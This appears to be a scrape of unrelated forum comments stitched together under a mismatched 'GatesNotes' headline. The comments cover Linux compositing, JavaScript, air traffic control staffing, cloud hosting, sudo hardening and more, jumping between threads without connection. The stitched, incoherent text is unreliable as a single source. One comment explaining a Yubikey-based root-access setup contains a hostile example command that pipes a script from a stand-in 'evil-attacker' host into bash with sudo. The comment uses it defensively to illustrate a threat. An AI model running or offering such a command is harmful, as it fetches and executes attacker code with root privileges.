GatesNotes: The road ahead reaches a turning point in 2024
This talks about these old games having "not real" 3d, but modern 3d games are on a flat screen too. So aren't they fundamentally "not real" 3d in the same qualitative way?
Bit of a silly counter argument. This is like saying free speech is strictly define by what the US law says, rather than it first and foremost being a widely held cultural value that became enshrined in US law as a reflection of that culture.

Expecting the US to be democratic is a value people hold and it's legitimate to expect it from their government. Even if they don't understand the functions of lower political bodies. [Note: to be clear I'm not making a point re: this ruling, just wanted to point that out]

It's pretty easy to explain: the controller took the pilot at his word, and immediately offered the fastest and safest option to get them on the ground, which was to land at Oakland. The runway thresholds at SFO and OAK are less than ten miles apart.
Now explain it to me like I'm in a cow level.

If you look at the rules, this site is not about tech. It is just popular topic.
Most produce in big name stores has a four digit PLU code that can be entered rather than guessing the name.
2D acceleration is generally done through the same APIs, specifically OpenGL and Vulkan. Classically, the X compositor would use the GLX_EXT_texture_from_pixmap extension to import an X pixmap representing a window surface into OpenGL, where it can be used like any other texture. For the Wayland compositor, I believe you'd use EGL_WL_bind_wayland_display to bind a Wayland surface to an EGLImage, and then glEGLImageTargetTexture2DOES (can't believe I have that function name memorized) to bind that EGLImage to an OpenGL texture, where it can be used in the same way. Vulkan has similar extensions.

On the client side, I think most Linux apps still draw their UIs on CPU, usually accelerated with SIMD. Firefox and Chrome (I think SkiaGL is enabled on Linux?) are exceptions; they use OpenGL and/or Vulkan to draw their UI. Video playback is a different beast and in theory relies on vendor-specific extensions to decode the video in hardware. However, the last time I looked at Linux video decoding (which was years ago), the drivers were awful and interfacing with each vendor's APIs was a huge pain, and so most apps just did video decoding on CPU. (Besides, the Linux ecosystem prefers open codecs, and hardware has only recently gotten support for non-patent-encumbered video formats.)
I remember reading about finite element tire models and how complicated they were, they can now run in real time give or take a bit.
Browsers are much, much better at addressing security issues than Flash or Java applets ever were. There's no comparison. And even if you think that they ought not to have been removed, surely it's clear that the concerns about security for users are a fundamentally different thing than JS developers wanting a different API shape.

As to versioning the language: languages like Rust and Go use editions, which allow them to making breaking changes to syntax but not to the standard library, which is what's being discussed here. Indeed Rust has several deprecated-but-unremovable things in their standard library. Python makes breaking changes to their standard library, and then people's code breaks. C++ requires you to specify the version for the entire program, which isn't viable for JS because pages mix scripts from dozens of authors, which all need to interact and to have a coherent view of the world. Not sure what other language you're thinking of.

The relatively unique object model in JS, and the fact that the standard library consists of ambient properties, also makes it special; it's harder in JS than it would be in a language like Rust to detect use of a particular feature of the standard library.
They sure could, except Reddit has self-interested, decentralized moderation that contributes to preventing containment breaks. Twitch is bad at moderation and giving them more ways to screw up is bad for my enjoyment of the site.

I have become immunized to algorithmic content curation, I dont know exactly why that happened, but understanding how it works at a surface level I think helped. Im curious if thats a widespread phenomena or not, I suspect it is.
As another reply mentioned, to prevent DNS rebinding attacks. The general expectation is you will whitelist domains from which you expect RFC1918 responses.
More than that,

this removes sudo's capabilities to limit users by commands and hosts, opens a unix device based attack vector, probably a new process..

Surely, author assumes sudo would be a blanket root, and this assumption have merit most of the time.

I can't recall how many times I had to argue about de-merits of using "sudo su".
The original "Thanks Regan" comment makes no sense to me.

To be clear, President Regan fired all striking air traffic controllers in 1981. The same Wiki article says: <<The FAA had initially claimed that staffing levels would be restored within two years; however, it took closer to 10 years before the overall staffing levels returned to normal.>>

So that means, FAA had enough controllers by 1991. What does that incident have to do with today's shortage? Nothing.

Deeper: I tried to Google why is there a shortage of air traffic controllers in the United States. The root cause appears unclear to me. I found this article[1], that says: <<Secretary Buttigieg did have some promising news right after Labor Day, when he announced that 1,500 air traffic controllers had been hired this year after an aggressive recruiting campaign and a raise in starting salary to $127,000 a year.>>

That is a huge salary in the United States. I'm surprised this is not attracting more qualified candidates. This tells me that this requirements to become an FAA-certified air traffic controller are incredibly strict. Does anyone know why EU / Japan / Korea does not have the same issues? (All highly-advanced, wealthy nations with lots of air travel.)

I feel like a better use case for ChatGPT-like tools (at least in their current state) for customer support use cases is not actual live chat but more assisting companies in automating the responses to other non realtime channels for customer requests such as:

- email requests

- form based responses

- Jira/ZenDesk type support tickets

- forum questions

- wiki/faq entries

and having some actual live human in the mix to moderate/certify the responses before they go out.

So it'd be more about empowering the customer service teams to work at 10x speed than completely replacing them.

It'd actually be more equivalent to how programmers currently are using ChatGPT. ChatGPT is not generating live code on the fly for the end user. Programmers are just using ChatGPT so they aren't starting out with a blank sheet. And perhaps most importantly they are fully validating the full code base before deployment.

Putting ChatGPT-like interfaces directly in front of customers seems somewhat equivalent to throwing a new hire off the street in front of customers after a 5 minute training video.
> By and large, the constitution grants wide privilege for states to decide how they run their elections, and how they validate whether a person is qualified.

Do you have any historical precedent in which the population of a state have legally been denied the right to vote for one of the premier candidates of a major election a la the President? The only cases I'm familiar with is that historically entire subsections of the citizenry have not been allowed to vote: landless, blacks, women. Most don't think of those times as ideals to emulate.

> This also seems like it would then allow those same users to ssh directly to root from a remote connection

I am using something a bit different than what TFA explains, but it's not dissimilar.

There's no sudo on my machine. The password to get to root is, on purpose, super long and very obnoxious: it's not realistic to type it every time I need root.

So I do I gain root access? Through a private LAN on which there are only two machines: my main machine and my "laptop for root access". So I have a laptop that has no Internet access and that is only connected, through a private LAN, to my main machine. I "ssh root@desktop" and then I tap my Yubikey (SSH is configured to refuse password login and the only key is protected by a Yubikey).

Does it mean "ssh root@..." is allowed on the desktop? Well, yes but:

- there's no password authentication allowed
- the only public key allowed has the matching private key on a Yubikey
- the Yubikey is hooked to a laptop
- the desktop has a firewall only allowing SSH in from my laptop's IP

So I'm not too concerned.

So there's never any sudo or any su with a terminal opened on the desktop. And I don't need to trust anything I see on the desktop: I only trust what I on my laptop, after ssh'ing using the Yubikey to the desktop.

Because here's the thing: if an attacker has an exploit and can run sudo on my machine, then the terminal where I do "sudo apt-get install xcalc" might has well be "sudo curl http://evil-attacker/privilege-escalation-to-backdoor | bash" (while pretending, on screen, it's "sudo apt-get install xcalc"). And then my Yubikey asks me to click, I click (because I want to install xcalc). And I'm owned.

While good luck doing that on a laptop that is only ever used to establish an SSH session.

I'm also using lots of the hardened kernel and boot parameters (like preventing users from seeing other users' processes) and other little tricks explained in many hardening guides.

Set that up about ten months ago now (don't remember exactly). It's working flawlessly. Not a single issue.

P.S: it's just a proof of concept... But I think that requiring to tap a Yubikey every single time you want to do something as root is something that should be envisaged/discussed more and it was great to read TFA doing it too.
Read only snapshot queries are very useful in practical systems.
We're all dissatisfied and trying to fill the void, I guess
how does that contractual obligation translate to technical implementation? Do those supercomputers get an optimized version of ROCm to fulfill said obligation?
Android's equivalent can be disabled with the "reduced motion" toggle in the accessibility settings. You also lose a bunch of other totally extraneous animations in the process, boo hoo. Perhaps the same is possible on iPhone?
Watched it, loved it as with the entire Planet Earth series. I believed I felt really emotional in a couple of the episodes.
Cool. Wonder if virtualising macOS would potentially work?

Mainly wondering because macOS has a limit of 2 running VMs, which is ludicrously low given the power of the hardware.

We (sqlitebrowser.org) have an apple silicon mac mini running build server tasks, but it's only lightly used due to this limit. There's no way we're buying new mini's just in order to run more jobs. :/
That discrimination is often explicitly legal, although one wonders how companies in the United States get away with such things since the US has constitutional protections against institutional racism.
I’m not sure what you mean about jokes. You said something to the effect that Cerabyte storage might spin, but they’re not platter drives (?)
> So its more about empowering the customer service teams than completely replacing them.

That's right, but this would cost more money so until these blunders start costing money then they will continue until morale improves!

Keep in mind that the number of devs that are inexperienced is very high. Growth in the industry has been explosive. So there is a large population of devs that just don't understand how one might reasonably live, and even prosper, on the literal server in the basement or closet. Doing so sounds scary and arcane. They have never experienced the old memes of tripping on server power cables and backhoes accidentally digging through your network line being among the more dangerous events in life.

Among the older devs, a sizable amount of them worked in large companies with ineffectual IT departments where the cloud also meant scrapping the red tape in favor of shadow-IT and actually being able to get stuff done. They, largely, think the cloud is the greatest because it materially improved their lives in poorly run organizations. So it simply must be grand.

With these motivations you can come up with any number of arguments that sound plausible to defend the cloud.

There are a few people with significant experience on both sides, that advocate for cloud. I must conclude that their experience largely falls into the few buckets where it does tend to make sense.

My experience is that cloud is insanely expensive - if you can run and keep a competent IT dept.
There are also often Unmanaged variants where you pass allocator to every method. In these scenarios you have to make sure you use the same allocator though. Unmanaged can be useful for short lived allocations or type that combines many standard containers, saving memory.
So that one episode of Atlanta with Yodel Kid was pretty much reality.
I think we pretty much agree!

For context, I grew up in a "ring" that was quite inner in a global sense but quite middling or even outer in a local sense.

I've been in several inner rings since, and they were disappointing. Not in the sense of the people inside of them being hostile (maybe some were, but these were chaotic and short-lived), but more... anti-social, but not in a way that they're self-conscious of? IDK if this makes sense.

I've found picky institutions select for people who crave selection from picky institutions and getting their own. This means the people are generally hardworking and savvy, but not necessarily conscientious. I agree they lack "major personality flaws" but, I know this is trite, they tend to lack personality (goals, identity, culture, hobbies, deep & meaningful relationships) altogether. Every interaction is a transaction.

I'm open to the idea that my sample's unrepresentative. But I guess at this stage in my life/career of meeting people, I've decided it might be more long-term productive to follow the advice in the end of the essay, and build what I'm looking for instead.

I guess my conclusion is that there's diminishing returns to going inner? At a certain point, you have more to gain by building your own "inner". This is probably extra true if you were blessed to be born relatively-inner? I think this may be one interpretation of the essay, and it rhymes with my experience so far.
If it was an airplane movie the better phrase might be "trauma bonding" :)

I agree, though, it is very easy to isolate nowadays. And fewer and fewer third spaces exist if one were looking to interact.
Because of the coating of the mirrors is gold specifically because it is designed to image in IR. "Gold just happens to reflect blue light very poorly but red and infrared light extremely well."[0] This would make visible light images extremely poor if it is not reflecting all wave lengths equally.

Think of it like the *nix core belief that you design a thing to do one thing be really fast at it and do it really well while avoiding making something that does a lot of things mediocre and not nearly as fast. We have platforms that are better at imaging visible light. A lot of them. We have nothing with the capabilities of JWST. We have X-ray telescopes. We have microwave telescopes.

Trying to ask JWST to be a shittier IR telescope to enable visible light imaging is just a waste of time, effort, and money.

I can assure you, you can not trust any AWS health checks to be a primary alert for something down. You have to do it all yourself, on host, or inside the container.

AWS/Rackspace support just say: "It's your problem as we don't manage what is inside the AWS service".
I like that JS is weird enough to support subsets of languages like this. I try not to use terse JS shorthand in my professional work for many reasons, but part of me knows I could, and that part smiles as I expand code into something more readable before committing.
LLMs aren't competition, they're just another tool that allows human programmers to work at a higher level of abstraction. When the industry (mostly) switched from coding in assembly language to high-level languages the number of programmers went up. This trend will work out the same way. There is effectively infinite demand for new software.
There's a great new "use case" for AI: dodging bait and switch laws! Sure, normally if a dealership employee explicitly offered a car for a given price in writing only to reveal it was incorrect later it would be illegal, but when an "AI" does the same we suddenly can't hold anyone accountable. Ta-da!
I assume a deal like that involves a lot of direct support and optimization by ROCm team for the workload the supercomputer is running, rather than generic awesomeness at everything.

That’s been my experience with most large enterprise software, really. Amazing at its most critical competency, core dumps when I try something a little unusual.

cloud is good. it is a new option. most interesting new options come inescapably with new potentials for abuse.

personally, my most interesting work is bootstrapping nights and weekends. the optionality of cloud opens entire new fields here. this is good.

in day to day enterprise engineering, cloud isn’t as disruptive.

i see the inefficiency in enterprise cloud as a failure of the education system.

what could have been learned in throw away school projects is instead learned in throw away enterprise projects.

market inefficiency aside, it’s fine.

cloud isn’t the first footgun, and won’t be the last. education remains the only answer.
absolutely no telemetry in the helper, full stop. you can inspect the code yourself.

For the most part that's true, but simple 2D compositing is a bit of a different beast, because it can sometimes be done at scanout time, saving a blit. Last I checked, (non-Android) Linux rarely makes use of this except for the mouse cursor. But in general you can save a good bit of energy and memory bandwidth on HiDPI displays if you try to use 2D hardware layers where you can. You can virtually never use them for the UI itself, because they're far too limited, but the windowing system can often use them to composite windows together. It'd be nice if Wayland compositors made more use of this, e.g. to avoid having to blit the foreground window every frame.
> They have perfectly great existing hardware decoder offloading APIs via the various OS' native APIs for videos

One vendor specific API, not "various OS' native APIs".

Firefox currently supports hardware video decoding with Intel's vendor specific VA-API only on Linux, which is not supported by NVIDIA. (A third-party VA-API to NVDEC translation layer for Linux does exist on GitHub, nvidia-vaapi-driver, but it's not yet reliable as the officially supported VDPAU or NVDEC, and is not included in official linux package repositories.)

Intel has VA-API, AMD has AMF, and NVIDIA has VDPAU which is being replaced by NVDEC/NVENC.

The idea behind Vulkan Video Extensions is to have a vendor independent and cross-platform video API.
Unprecedented times don't constrain us to the historical events. And we have a Constitution which we follow when unprecedented times do arise. If we don't want to follow the Constitution, fine, but there is a process defined in it for doing that as well, as unlikely as it seems in modern times. Clearly, while there is some room for discussion about the law as written, it seems like reasonable people believe this is one of those unprecedented times and are applying the law.
>Android users can protect themselves by only installing applications from secure app stores like Google Play and installing a mobile anti-virus product on their device.

F-Droid is a much better option for consumers. If I download an app that runs on my hardware and uses my mobile data, then it would be dame good idea that NOT ONLY the source is available, but there is build-able from the available source.
IANAL, but I'm not sure that would hold up, if you chose the AI and put it on your website?
I will admit I have been mistrustful of Lewis since I was a small child. The Lion, the Witch, and the Wardrobe was my first in memory experience of feeling like the author had attempted to put one over on me, with this Aslan business. I wanted to read a fantasy book, not a lecture in a RenFaire outfit. Indeed, much later I would read from Lewis that Aslan is not an allegory for Christ but something else. That kind of hair-splitting seemed like so much sophistry, but remember, it was for my supposed benefit.

Ever since, I haven't been able to read Lewis without a feeling of what he thinks it would be better for me to believe, even when I went into The Screwtape Letters with anticipation. But I feel the sin resides with the one who does the misrepresentation, not the one who recognizes it exists and acts reasonably once it is identified.

Yes. You're just limited to eight vector registers.
That will make production a lot more expensive, if you have production capacity laying unused for a long time. The rent, write-off etc still had to be paid but is now offset against less profit.
